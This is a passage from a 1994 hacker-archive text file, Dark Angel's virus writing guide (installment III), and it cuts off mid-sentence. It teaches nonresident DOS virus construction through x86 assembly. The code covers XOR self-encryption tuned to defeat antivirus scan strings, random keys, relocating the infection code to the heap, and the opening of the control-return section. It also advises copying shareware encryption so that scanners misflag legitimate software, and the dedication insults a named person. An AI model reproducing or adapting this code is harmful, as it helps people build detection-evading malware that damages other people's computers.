home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / PS_VIR3.TXT < prev    next >
Text File  |  1994-07-17  |  20KB  |  445 lines

  1.       //==//  //  //  /||      //      //====  //==//  //|   //
  2.      //  //  //  //  //||     //      //      //  //  //||  //
  3.     //==//  //==//  //=||    //      //      //  //  // || //
  4.    //      //  //  //  ||   //      //      //  //  //  ||//
  5.   //      //  //  //   ||  //====  //====  //==//  //   ||/
  6.   
  7.      /====   // //     //  /====   /|   /|
  8.     //      // //     //  //      //|  //|
  9.     ===\   // //     //   ===\   //|| //||
  10.       //  //  \\    //      //  // ||// ||
  11.   ====/  //    \\  //   ====/  //  ||/  ||
  12.   
  13.   ───────────────────────────────────────────────
  14.   DISCLAIMER: I hereby claim to have written this
  15.     file.
  16.   ───────────────────────────────────────────────
  17.   DEDICATION: This is dedicated to Patty Hoffman,
  18.     that fat bitch who doesn't know her own name,
  19.     and to the millions of dumb fools who were so
  20.     scared by Michelangelo that they didn't touch
  21.     their computers for an entire day.
  22.   ───────────────────────────────────────────────
  23.   GREETS: to all PHALCON/SKISM members especially
  24.     Garbageheap, Hellraiser, and Demogorgon.
  25.   ───────────────────────────────────────────────
  26.   
  27.   Dark Angel's Crunchy Virus Writing Guide
  28.   ──── ─────── ─────── ───── ─────── ─────
  29.        "It's the right thing to do"
  30.   
  31.   ────────────────────────────────────────────
  32.   INSTALLMENT III:  NONRESIDENT VIRII, PART II
  33.   ────────────────────────────────────────────
  34.   
  35.   Welcome to  the third  installment of  my Virus  Writing  Guide.    In  the
  36.   previous installment,  I covered  the primary  part  of  the  virus  -  the
  37.   replicator.   As promised,  I shall  now cover  the rest of the nonresident
  38.   virus and  present code  which, when  combined with  code from the previous
  39.   installment, will  be sufficient  to allow  anyone to write a simple virus.
  40.   Additionally, I  will present  a few  easy tricks  and tips  which can help
  41.   optimise your code.
  42.   
  43.   ─────────────
  44.   THE CONCEALER
  45.   ─────────────
  46.   The concealer  is the  most common  defense  virus  writers  use  to  avoid
  47.   detection of  virii.   The most common encryption/decryption routine by far
  48.   is the XOR, since it may be used for both encryption and decryption.
  49.   
  50.   encrypt_val   dw   ?   ; Should be somewhere in decrypted area
  51.   
  52.   decrypt:
  53.   encrypt:
  54.        mov dx, word ptr [bp+encrypt_val]
  55.        mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
  56.        lea si, [bp+part_to_encrypt_start]
  57.        mov di, si
  58.   
  59.   xor_loop:
  60.        lodsw
  61.        xor ax, dx
  62.        stosw
  63.        loop xor_loop
  64.   
  65.   The previous  routine uses  a simple XOR routine to encrypt or decrypt code
  66.   in memory.   This  is essentially  the same routine as the one in the first
  67.   installment, except  it encrypts words rather than bytes.  It therefore has
  68.   65,535 mutations  as opposed  to 255 and is also twice as fast.  While this
  69.   routine is  simple to  understand, it  leaves much  to be  desired as it is
  70.   large and therefore is almost begging to be a scan string.  A better method
  71.   follows:
  72.   
  73.   encrypt_val   dw    ?
  74.   
  75.   decrypt:
  76.   encrypt:
  77.        mov dx, word ptr [bp+encrypt_val]
  78.        lea bx, [bp+part_to_encrypt_start]
  79.        mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
  80.   
  81.   xor_loop:
  82.        xor word ptr [bx], dx
  83.        add bx, 2
  84.        loop xor_loop
  85.   
  86.   Although this  code is  much shorter,  it is possible to further reduce its
  87.   size.   The best  method is  to insert the values for the encryption value,
  88.   BX, and CX, in at infection-time.
  89.   
  90.   decrypt:
  91.   encrypt:
  92.        mov bx, 0FFFFh
  93.        mov cx, 0FFFFh
  94.   
  95.   xor_loop:
  96.        xor word ptr [bx], 0FFFFh
  97.        add bx, 2
  98.        loop xor_loop
  99.   
  100.   All the  values denoted  by 0FFFFh  may be changed upon infection to values
  101.   appropriate for  the infected  file.  For example, BX should be loaded with
  102.   the offset  of part_to_encrypt_start  relative to the start of the infected
  103.   file when the encryption routine is written to the infected file.
  104.   
  105.   The primary  advantage of  the code  used above is the minimisation of scan
  106.   code length.   The scan code can only consist of those portions of the code
  107.   which remain  constant.   In this  case,  there  are  only  three  or  four
  108.   consecutive bytes  which remain  constant.   Since  the  entire  encryption
  109.   consist of only about a dozen bytes, the size of the scan code is extremely
  110.   tiny.
  111.   
  112.   Although the  function of  the encryption  routine is  clear,  perhaps  the
  113.   initial encryption  value and  calculation of  subsequent values  is not as
  114.   lucid.  The initial value for most XOR encryptions should be 0.  You should
  115.   change the  encryption value  during  the  infection  process.    A  random
  116.   encryption value  is desired.   The  simplest method  of obtaining a random
  117.   number is  to consult  to internal  clock.   A random  number may be easily
  118.   obtained with a simple:
  119.   
  120.           mov     ah, 2Ch                         ; Get me a random number.
  121.           int     21h
  122.           mov     word ptr [bp+encrypt_val], dx   ; Can also use CX
  123.   
  124.   Some encryption  functions do not facilitate an initial value of 0.  For an
  125.   example, take  a look  at Whale.  It uses the value of the previous word as
  126.   an encryption  value.   In these  cases, simply  use a JMP to skip past the
  127.   decryption routine  when coding  the virus.   However, make sure infections
  128.   JMP to  the right location!  For example, this is how you would code such a
  129.   virus:
  130.   
  131.           org     100h
  132.   
  133.   start:
  134.           jmp     past_encryption
  135.   
  136.   ; Insert your encryption routine here
  137.   
  138.   past_encryption:
  139.   
  140.   The encryption  routine is  the ONLY  part of  the virus  which needs to be
  141.   unencrypted.   Through code-moving  techniques, it  is possible to copy the
  142.   infection mechanism  to the  heap (memory location past the end of the file
  143.   and before  the stack).   All  that is required is a few MOVSW instructions
  144.   and one  JMP.   First the  encryption routine  must  be  copied,  then  the
  145.   writing, then  the decryption,  then the  RETurn back  to the program.  For
  146.   example:
  147.   
  148.        lea si, [bp+encryption_routine]
  149.        lea di, [bp+heap]
  150.        mov cx, encryption_routine_size
  151.        push si
  152.        push cx
  153.        rep movsb
  154.   
  155.        lea si, [bp+writing_routine]
  156.        mov cx, writing_routine_size
  157.        rep movsb
  158.   
  159.        pop cx
  160.        pop si
  161.        rep movsb
  162.   
  163.        mov al, 0C3h                             ; Tack on a near return
  164.        stosb
  165.   
  166.        call [bp+heap]
  167.   
  168.   Although most  virii, for  simplicity's sake, use the same routine for both
  169.   encryption  and  decryption,  the  above  code  shows  this  is  completely
  170.   unnecessary.   The only  modification of  the above code for inclusion of a
  171.   separate decryption  routine is to take out the PUSHes and replace the POPs
  172.   with the appropriate LEA si and MOV cx.
  173.   
  174.   Original encryption  routines, while  interesting, might  not be  the best.
  175.   Stolen encryption  routines are  the best,  especially  those  stolen  from
  176.   encrypted shareware  programs!   Sydex is notorious for using encryption in
  177.   their shareware  programs.   Take a  look at  a  shareware  program's  puny
  178.   encryption and  feel free  to copy  it into your own.  Hopefully, the anti-
  179.   viral developers  will create  a scan string which will detect infection by
  180.   your virus in shareware products simply because the encryption is the same.
  181.   
  182.   Note that  this is  not a  full treatment  of concealment routines.  A full
  183.   text file could be written on encryption/decryption techniques alone.  This
  184.   is only  the simplest  of all  possible encryption techniques and there are
  185.   far more  concealment techniques  available.  However, for the beginner, it
  186.   should suffice.
  187.   
  188.   ──────────────
  189.   THE DISPATCHER
  190.   ──────────────
  191.   The dispatcher  is the  portion of the virus which restores control back to
  192.   the infected  program.    The  dispatchers  for  EXE  and  COM  files  are,
  193.   naturally, different.
  194.   
  195.   In COM  files, you  must restore  the bytes  which were overwritten by your
  196.   virus and  then